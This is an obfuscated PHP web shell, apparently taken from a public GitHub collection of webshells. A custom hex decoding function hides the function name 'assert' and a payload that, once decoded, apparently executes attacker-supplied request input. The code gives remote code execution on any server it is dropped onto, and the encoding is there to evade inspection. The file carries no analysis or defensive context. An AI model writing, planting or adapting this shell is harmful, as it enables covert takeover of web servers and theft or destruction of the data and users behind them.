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https://github.com/tennc/webshell
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23 lines
431 B
PHP
23 lines
431 B
PHP
<?php
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function cve($str,$key)
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{
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$t="";
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for($i=0; $i<strlen($str); $i=$i+2)
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{
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$k=(($i+2)/2)%strlen($key);
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$p=substr($key, $k,1);
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if(is_numeric(substr($str, $i,1)))
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{
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$t=$t.chr(hexdec(substr($str, $i,2))-$p);
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}
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else
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{
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$t=$t.chr(hexdec(substr($str, $i,4)));
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$i=$i+2;
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}
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}
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return($t);
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}
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(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
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?>
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